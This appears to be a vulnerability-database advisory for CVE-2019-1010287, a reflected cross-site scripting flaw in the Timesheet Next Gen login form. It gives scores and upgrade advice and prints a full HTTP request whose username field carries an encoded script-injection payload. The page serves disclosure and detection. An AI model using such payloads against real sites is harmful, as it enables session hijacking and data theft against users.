🔙 목록으로 돌아가기

CVE-2019-1010287: Timesheet Next Gen <=1.5.3 - Cross-Site Scripting

TitleTimesheet Next Gen <=1.5.3 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to a patched version of Timesheet Next Gen (1.5.4 or above) that properly sanitizes user input to prevent XSS attacks.
CVSS Score6.1
EPSS Score0.20584
CVE IDCVE-2019-1010287
CWE IDCWE-79
Tags cve cve2019 timesheet xss timesheet_next_gen_project vuln

🔍 Vulnerability Description

Timesheet Next Gen 1.5.3 and earlier is vulnerable to cross-site scripting that allows an attacker to execute arbitrary HTML and JavaScript code via a “redirect” parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.

🌐 HTTP Request

POST /timesheet/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 109
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-1010287.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-1010287.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A